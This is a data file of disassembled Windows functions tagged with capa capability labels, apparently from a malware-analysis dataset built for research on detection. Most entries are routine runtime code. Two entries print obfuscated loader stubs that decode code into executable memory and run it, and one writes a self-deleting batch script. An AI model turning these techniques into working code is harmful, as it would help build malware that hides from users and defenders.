joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407564
Capabilities:
Create process on windows
Get disk information
Self delete
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
lea eax, [ebp + 8]
call fcn.0040bba8
cmp word [eax + 2], 0x3a
jne 0x4076e7
movzx ecx, word [eax + 4]
cmp ecx, 0x5c
je 0x407592
cmp ecx, 0x2f
jne 0x4076e7
mov ax, word [eax]
push 0x3a
mov word [ebp - 0x18], ax
pop eax
mov word [ebp - 0x16], ax
push 0x5c
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x4076e7
push str.7ZSfx_03x.cmd
lea esi, [ebp - 0x30]
call fcn.004035ba
pop ecx
mov eax, esi
call fcn.0040bba8
mov dword [ebp - 8], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push eax
push 0x40000000
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x4076df
lea eax, [ebp - 0x24]
call fcn.00401000
push str.:Repeat_r_n
lea eax, [ebp - 0x24]
call fcn.0040100c
push str.del__
lea esi, [ebp - 0x24]
call fcn.00412698
lea edi, [ebp + 8]
call fcn.004126cf
mov ebx, 0x42900c
push ebx
call fcn.00412698
push str.if_exist__
call fcn.00412698
call fcn.004126cf
push str.__goto_Repeat_r_n
call fcn.00412698
push str.del__
call fcn.00412698
lea edi, [ebp - 0x30]
call fcn.004126cf
push ebx
call fcn.00412698
mov eax, esi
call fcn.0040ba98
mov edi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push 1
lea ebx, [ebp - 0x3c]
call fcn.00403748
pop ecx
call fcn.004033c5
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
mov eax, ebx
call fcn.0040177f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp esi, ebx
je 0x4076cf
cmp dword [ebp - 0x10], edi
jne 0x4076cf
push ebx
lea eax, [ebp + 8]
call fcn.0040bba8
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push dword [ebp - 8]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4076d7
mov esi, dword [ebp - 8]
call fcn.0040440c
lea eax, [ebp - 0x24]
call fcn.0040177f
lea eax, [ebp - 0x30]
call fcn.0040177f
lea eax, [ebp + 8]
call fcn.0040177f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4077b5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push 0x41342f
push eax
push eax
call fcn.0041e196
mov ecx, dword [ebp + 8]
push eax
mov dword [ecx], eax
call fcn.00407777
add esp, 0x1c
leave
ret

Function at 0x407b28
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, 0x4302f8
call fcn.0040bba8
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov edi, dword [ebp + 8]
add edi, 4
mov ecx, edi
call fcn.004059b8
test al, al
jne 0x407b69
push edi
call fcn.00407cfa
pop ecx
test al, al
je 0x407b69
push esi
mov eax, edi
call fcn.0040bba8
mov esi, eax
call fcn.0040440c
pop esi
mov eax, edi
call fcn.004025ef
mov al, 1
pop edi
pop ebp
ret 4
Function at 0x408f94
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d8
push esi
push edi
lea eax, [ebp - 0x10]
push eax
mov esi, ecx
mov edi, 0x4b6
push edi
mov eax, esi
call fcn.00408820
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
xor ecx, ecx
add eax, 2
mov dword [esi + 0x58], eax
push edi
inc ecx
mov eax, esi
call fcn.004088c0
xor ecx, ecx
inc edi
push edi
inc ecx
mov eax, esi
call fcn.004088c0
and dword [ebp - 0x2c8], 0
push 0x2b0
lea eax, [ebp - 0x2c4]
push 0
push eax
call fcn.0041d490
add esp, 0xc
push 0x104
lea eax, [ebp - 0x4d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x103
push 0x2b4
lea eax, [ebp - 0x2c8]
push eax
push 0
lea eax, [ebp - 0x4d8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x2c8]
push 0x40916e
push 0xfffffffffffffffc
mov dword [esi + 0x50], eax
push edi
mov eax, esi
call fcn.00407dac
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, esi
mov dword [esi + 0x54], eax
call fcn.00408543
push esi
mov edi, eax
call fcn.0040924c
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40a113
Capabilities:
Create thread

Disassembly:
push esi
call fcn.00407d7f
test eax, eax
jne 0x40a12e
push eax
push eax
push esi
push 0x40a0d3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push dword [0x42df08]
mov eax, esi
call fcn.0040ba98
push eax
call fcn.00408804
push 0x2d
call fcn.00405235
pop ecx
push eax
push 0x4b2
mov eax, esi
call fcn.00407ddb
ret

Function at 0x40a534
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor ecx, ecx
push 8
mov eax, ecx
pop edx
mov esi, eax
and esi, 1
dec esi
not esi
and esi, 0xedb88320
shr eax, 1
xor eax, esi
dec edx
jne 0x40a53c
mov dword [ecx*4 + 0x4305a0], eax
inc ecx
cmp ecx, 0x100
jb 0x40a537
mov edx, 0x800
jmp 0x40a589
mov eax, dword [ecx*4 + 0x4301a0]
mov esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x4305a0]
inc ecx
mov dword [ecx*4 + 0x43059c], eax
cmp ecx, edx
jb 0x40a568
mov eax, 0x424010
mov esi, 0x423f30
mov dword [0x430588], eax
mov dword [0x4325a0], eax
mov dword [0x430584], esi
call fcn.0041096f
test eax, eax
jne 0x40a5b6
mov dword [0x4325a0], esi
pop esi
ret
Function at 0x410bc2
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push edi
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x410bea
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x410bea
xor al, al
jmp 0x410bfc
mov ecx, dword [ebp + 8]
xor eax, eax
xor edx, edx
add eax, edi
adc ecx, edx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov al, 1
pop edi
pop ebp
ret 4

Function at 0x413fb8
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor eax, eax
movzx ecx, byte [eax + str.cw]
mov byte [ecx + 0x42e058], al
inc eax
cmp eax, 0x100
jb 0x413fc0
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ecx, dword [ebp - 4]
movzx esi, byte [ecx + str.cw]
mov eax, esi
and al, 0x80
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x1b
lea edx, [esi + esi]
xor eax, edx
mov edi, 0xff
and eax, edi
mov edx, eax
xor edx, esi
mov dword [ebp - 8], edx
shl edx, 8
or edx, esi
shl edx, 8
or edx, esi
shl edx, 8
or edx, eax
mov dword [ecx*4 + 0x42f160], edx
mov edx, esi
shl edx, 8
mov ebx, edx
or edx, eax
or ebx, esi
shl edx, 8
or edx, dword [ebp - 8]
shl ebx, 8
or ebx, eax
shl eax, 8
or eax, dword [ebp - 8]
shl ebx, 8
or ebx, dword [ebp - 8]
shl edx, 8
shl eax, 8
mov dword [ecx*4 + 0x42f560], ebx
mov ebx, ecx
movzx esi, byte [ebx + str.cw]
or edx, esi
or eax, esi
mov dword [ecx*4 + 0x42f960], edx
movzx edx, byte [ebx + 0x42e058]
shl eax, 8
or eax, esi
mov dword [ecx*4 + 0x42fd60], eax
mov eax, edx
and al, 0x80
mov dword [ebp - 8], edx
movzx eax, al
neg eax
sbb eax, eax
add edx, edx
and eax, 0x1b
xor eax, edx
and eax, edi
mov edx, eax
and dl, 0x80
movzx esi, dl
neg esi
sbb esi, esi
and esi, 0x1b
lea edx, [eax + eax]
xor esi, edx
and esi, edi
mov edx, esi
and dl, 0x80
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0x1b
lea ebx, [esi + esi]
xor edx, ebx
and edx, edi
mov edi, edx
xor edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
mov edi, edx
xor edi, eax
xor edi, dword [ebp - 8]
xor edx, esi
xor eax, edx
mov esi, edx
xor esi, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ebx, edi
shl ebx, 8
or ebx, esi
shl ebx, 8
or ebx, edx
shl ebx, 8
or ebx, eax
mov dword [ecx*4 + 0x42e158], ebx
mov ebx, esi
shl ebx, 8
or ebx, edx
shl ebx, 8
or ebx, eax
shl ebx, 8
or ebx, edi
mov dword [ecx*4 + 0x42e558], ebx
mov ebx, edx
shl ebx, 8
or ebx, eax
shl eax, 8
or eax, edi
shl ebx, 8
shl eax, 8
or ebx, edi
or eax, esi
shl ebx, 8
shl eax, 8
or ebx, esi
or eax, edx
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x100
mov dword [ecx*4 + 0x42e958], ebx
mov dword [ecx*4 + 0x42ed58], eax
jb 0x413fdc
mov dword [0x430160], 0x414ba5
mov dword [0x42f15c], 0x414c01
mov dword [0x42f158], 0x414c85
call fcn.00410a3d
pop edi
pop esi
pop ebx
test eax, eax
je 0x414187
mov dword [0x430160], 0x424240
mov dword [0x42f15c], 0x4240f0
mov dword [0x42f158], 0x4242b0
leave
ret
Function at 0x414189
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea edi, [eax + 0x1c]
shr eax, 2
mov esi, eax
shr esi, 1
add esi, 3
mov dword [ecx], esi
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp + 8], eax
test eax, eax
je 0x4141be
mov ebx, dword [edx]
mov dword [ecx + esi*4 + 0x10], ebx
inc esi
add edx, 4
cmp esi, eax
jb 0x4141b0
cmp esi, edi
jae 0x41429f
mov edx, esi
sub edx, eax
lea eax, [ecx + edx*4 + 0x10]
mov dword [ebp - 4], eax
xor edx, edx
mov eax, esi
div dword [ebp + 8]
mov edi, dword [ecx + esi*4 + 0xc]
mov dword [ebp - 8], eax
test edx, edx
jne 0x414236
mov eax, edi
mov ebx, edi
mov edx, 0xff
and eax, edx
movzx eax, byte [eax + str.cw]
shr ebx, 0x18
movzx ebx, byte [ebx + str.cw]
shl eax, 8
or eax, ebx
mov ebx, edi
shr edi, 8
and edi, edx
shr ebx, 0x10
and ebx, edx
movzx edx, byte [edi + str.cw]
movzx ebx, byte [ebx + str.cw]
mov edi, dword [ebp - 8]
movzx edi, byte [edi + 0x428a24]
shl eax, 8
or eax, ebx
shl eax, 8
xor edi, edx
or edi, eax
jmp 0x414286
cmp dword [ebp + 8], 6
jbe 0x414286
cmp edx, 4
jne 0x414286
mov edx, edi
shr edx, 0x10
mov ebx, edi
shr ebx, 0x18
movzx ebx, byte [ebx + str.cw]
mov eax, 0xff
and edx, eax
movzx edx, byte [edx + str.cw]
shl ebx, 8
or edx, ebx
mov ebx, edi
shr ebx, 8
and ebx, eax
movzx ebx, byte [ebx + str.cw]
shl edx, 8
and edi, eax
movzx edi, byte [edi + str.cw]
or edx, ebx
shl edx, 8
or edi, edx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add dword [ebp - 4], 4
xor eax, edi
mov dword [ecx + esi*4 + 0x10], eax
inc esi
cmp esi, dword [ebp - 0xc]
jb 0x4141d1
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x414ce1
Capabilities:
Hash data using sha256

Disassembly:
and dword [eax + 0x20], 0
and dword [eax + 0x24], 0
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
ret

Function at 0x414f4f
Capabilities:
Hash data using sha256

Disassembly:
push ebx
push edi
mov edi, dword [esi + 0x20]
and edi, 0x3f
mov ebx, eax
mov byte [edi + esi + 0x28], 0x80
jmp 0x414f71
and edi, 0x3f
jne 0x414f6c
push esi
call fcn.00414d21
pop ecx
mov byte [esi + edi + 0x28], 0
inc edi
cmp edi, 0x38
jne 0x414f60
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
shld ecx, eax, 3
shl eax, 3
bswap ecx
bswap eax
push esi
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], eax
call fcn.00414d21
pop ecx
xor ecx, ecx
mov eax, dword [esi + ecx*4 + 4]
mov edx, dword [esi + ecx*4]
bswap edx
bswap eax
mov dword [ebx], edx
mov dword [ebx + 4], eax
add ecx, 2
add ebx, 8
cmp ecx, 8
jb 0x414f97
pop edi
mov eax, esi
pop ebx
jmp fcn.00414ce1

Function at 0x4152c2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x10]
mov edx, dword [eax]
push edi
xor edi, edi
and edx, 7
cmp ecx, 5
jae 0x4152de
xor eax, eax
jmp 0x4153f0
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], 5
sub ecx, 4
add ecx, eax
push ebx
mov dword [ebp - 4], ecx
push esi
lea esi, [edi + eax]
jmp 0x4152ff
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x415304
inc esi
cmp esi, dword [ebp - 4]
jb 0x4152f4
mov ecx, esi
sub ecx, edi
mov edi, esi
sub ecx, eax
sub edi, eax
cmp esi, dword [ebp - 4]
jae 0x4153da
cmp ecx, 2
jbe 0x415357
xor edx, edx
movzx ecx, byte [esi + 4]
lea ebx, [ecx + 1]
test bl, 0xfe
jne 0x415376
movzx ebx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ebx, ecx
shl ebx, 8
or ebx, eax
movzx eax, byte [esi + 1]
shl ebx, 8
or ebx, eax
mov eax, dword [ebp + 0xc]
add eax, edi
add edi, 5
cmp dword [ebp + 0x14], 0
je 0x415381
add ebx, eax
jmp 0x415383
shr edx, cl
test edx, edx
je 0x41531e
cmp edx, 4
ja 0x415376
cmp edx, 3
je 0x415376
mov ecx, edx
shr ecx, 1
movzx ecx, byte [ecx + esi + 1]
inc ecx
test cl, 0xfe
jne 0x41531e
or edx, 8
shr edx, 1
inc edi
jmp 0x4152ef
sub ebx, eax
test edx, edx
je 0x4153b4
and edx, 6
shl edx, 2
mov ecx, edx
mov edx, ebx
shr edx, cl
mov dword [ebp - 8], ecx
inc edx
test dl, 0xfe
jne 0x4153b2
mov edx, 0x100
shl edx, cl
dec edx
xor ebx, edx
cmp dword [ebp + 0x14], 0
je 0x4153b0
add ebx, eax
jmp 0x4153b2
sub ebx, eax
xor edx, edx
mov eax, ebx
shr eax, 8
mov byte [esi + 2], al
mov eax, ebx
mov byte [esi + 1], bl
shr ebx, 0x18
shr eax, 0x10
and bl, 1
neg bl
mov byte [esi + 3], al
mov eax, dword [ebp + 8]
mov byte [esi + 4], bl
jmp 0x4152ef
push 2
pop eax
shr edx, cl
cmp eax, ecx
mov ecx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, edx
pop esi
mov dword [ecx], eax
mov eax, edi
pop ebx
pop edi
leave
ret
Function at 0x421596
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42cac0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041ffa5
and dword [ebp - 0x14], 0
cmp dword [0x42db54], 0
mov dword [ebp - 0x18], eax
jne 0x421649
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4216f1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4216f1
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42db54], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42db58], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42db5c], eax
call edi
push eax
call esi
mov dword [0x42db64], eax
test eax, eax
je 0x421649
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42db60], eax
mov eax, dword [0x42db60]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4216a2
cmp dword [0x42db64], ecx
je 0x4216a2
push eax
call esi
push dword [0x42db64]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4216a2
test ebx, ebx
je 0x4216a2
call edi
test eax, eax
je 0x421699
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x421699
test byte [ebp - 8], 1
jne 0x4216a2
or dword [ebp + 0x10], 0x200000
jmp 0x4216d5
mov eax, dword [0x42db58]
cmp eax, dword [ebp - 0x18]
je 0x4216d5
push eax
call esi
test eax, eax
je 0x4216d5
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4216d5
mov eax, dword [0x42db5c]
cmp eax, dword [ebp - 0x18]
je 0x4216d5
push eax
call esi
test eax, eax
je 0x4216d5
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42db54]
call esi
test eax, eax
je 0x4216f1
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4216f3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00421901
leave
ret

Function at 0x421901
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42cac0]
jne 0x42190b
repz ret
jmp fcn.0042295b
Function at 0x40359f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4035de
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4035de
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4035de
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4035de
cmp dword [ecx + 0x74], 0xe
jbe 0x4035de
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000a651
Capabilities:
Query environment variable

Disassembly:
push 4
mov eax, 0x1019defc
call fcn.1000196c
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 8]
mov dword [esi], eax
call fcn.1000a795
xor ebx, ebx
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
lea eax, [esi + 0x40]
mov dword [esi + 0x10], ebx
mov byte [esi + 0x14], bl
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], 2
mov dword [esi + 0x6f0], ebx
lea eax, [esi + 0x708]
mov dword [ebp - 4], ebx
mov dword [esi + 0x6f8], eax
mov dword [esi + 0x6fc], ebx
mov dword [esi + 0x700], ebx
lea eax, [esi + 0x5a0]
mov byte [ebp - 4], 1
push eax
call fcn.1017739e
lea eax, [esi + 0x6e8]
push eax
call fcn.1017739e
push str.MOZ_GCTIMER
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1000a742
push str.none
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x1000a742
push str.stdout
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x1000a719
push 1
mov byte [esi + 0x14], bl
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
jmp 0x1000a73f
push str.stderr
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x1000a72e
push 2
jmp 0x1000a70e
push 0x101c3884
push edi
mov byte [esi + 0x14], 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
pop ecx
pop ecx
mov ebx, eax
mov dword [esi + 0x10], ebx
mov eax, esi
call fcn.100019cb
ret 4
Function at 0x1001ef27
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [ecx + 0x29c]
test eax, eax
je 0x1001ef53
dec eax
mov dword [ecx + 0x29c], eax
mov eax, dword [ecx + 0x298]
inc eax
and eax, 3
mov dword [ecx + 0x298], eax
shl eax, 5
mov eax, dword [eax + ecx + 0x218]
ret
jmp fcn.1001cf64
Function at 0x10086593
Capabilities:
Create process on windows

Disassembly:
push 0x5c
mov eax, 0x101a442b
call fcn.1000196c
push dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.100f81cb
xor edi, edi
lea eax, [ebp - 0x68]
push 0x44
push edi
push eax
mov dword [ebp - 4], edi
call sub.VCRUNTIME140.dll_memset
push 5
pop eax
push 0x10
mov word [ebp - 0x38], ax
xor esi, esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x60], 0x101c0b48
push edi
inc esi
push eax
mov dword [ebp - 0x3c], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x28
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
mov eax, dword [0x1027a3ec]
push edi
push edi
push 0x10
push esi
mov esi, dword [eax + 0x54]
mov ecx, esi
push edi
push edi
push dword [ebp - 0x14]
call dword [0x101b33f8]
call esi
pop ecx
push eax
push edi
call dword [sym.imp.kernel32.dll_CreateProcessW]
movzx esi, ax
test si, si
je 0x10086626
push dword [ebp - 0x24]
call fcn.1017739e
pop ecx
movzx esi, ax
lea ecx, [ebp - 0x14]
call fcn.1017739e
mov ax, si
call fcn.100019cb
ret
Function at 0x1017739e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x101773ad
pop dword [ebp - 0x3c]
mov eax, 0x101773ad
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0xc2509
push 0
mov eax, 0x47bb9c0c
sub eax, 0x37a06b88
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x8b19ca17
sub ecx, 0x8b198f16
mov edi, eax
mov ebx, 0x4980f2a0
add ebx, 0xc6ab7960
add ebx, dword [ebp - 0x3c]
mov edx, 0xc8eb5b28
sub edx, 0x5fbb1259
sub dword [ebp - 0x38], esi
mov esi, dword [ebx]
xor dword [ebp - 0x38], 0xd21f6671
sub esi, edx
mov dword [ebp - 0x30], 0x30934585
mov dword [edi], esi
sub dword [ebp - 0x38], esi
add edi, 4
add ebx, 0x94c46da5
sub ebx, 0x94c46da1
loop 0x10177407
add eax, 0xdad343c9
add eax, 0x252d9b0e
mov ebx, eax
add eax, 5
mov ecx, 0x69db4f9b
sub ecx, 0x59db4f9b
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40288e
pop dword [ebp - 0x28]
mov eax, 0x4e9bde8c
sub eax, 0x4e5bb5fe
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x3c8ab703
add dword [ebp - 0x38], 0x11c78e48
mov dword [ebp - 0x34], 0x6175a29e
add dword [ebp - 0x34], 0xd0bda9a7
mov dword [ebp - 0x30], 0x48d80a0c
sub dword [ebp - 0x30], 0xfc8bc5de
mov dword [ebp - 0x2c], 0x54121b79
add dword [ebp - 0x2c], 0xabede487
lea eax, [ebp - 0x38]
push eax
mov eax, 0x7dec72f2
add eax, 0x8253fd72
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc6dfc1a7
sub dword [ebp - 0x38], 0x526d5851
mov dword [ebp - 0x34], 0x77ed549c
sub dword [ebp - 0x34], 0x3680f327
mov dword [ebp - 0x30], 0x4cc3090f
sub dword [ebp - 0x30], 0xe9539ca3
mov dword [ebp - 0x2c], 0xd3bf5716
sub dword [ebp - 0x2c], 0xd3bf5716
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x7d67b2aa
sub eax, 0x7d274202
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x38eca
push 0
call eax
mov ecx, 0x7e8933e6
add ecx, 0x81771d6a
xor edx, edx
add edx, eax
mov esi, 0x5c83357a
sub esi, 0x5c42357a
add esi, dword [ebp - 0x28]
mov ebx, 0xb4c68d0a
add ebx, 0xec2d5346
xor dword [ebp - 8], esi
mov edi, dword [esi]
mov dword [ebp - 0x24], 0xb0df6a61
add edi, ebx
sub dword [ebp - 0x18], edx
mov dword [edx], edi
sub dword [ebp - 0x18], 0x1d017b60
add edx, 0xa769e7c4
add edx, 0x58961840
add esi, 4
loop 0x4029b2
add eax, 0x1ce659ab
sub eax, 0x1ce52198
xor ebx, ebx
add ebx, eax
add eax, 0xcb72d5af
sub eax, 0xcb72d5aa
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x402f74
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x453020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40300c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fec
xor eax, eax
push ebp
push 0x402fe5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403028
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fec
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x453020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x453020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403d58
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x455044], 0
je 0x403db9
cmp word [0x455218], 0xd7b2
jne 0x403d81
cmp dword [0x455220], 0
jbe 0x403d81
mov eax, 0x455214
call dword [0x455230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45306c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403de0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x453030], 0
jne 0x403dd5
push 0
push 0x453064
push 0x45306c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret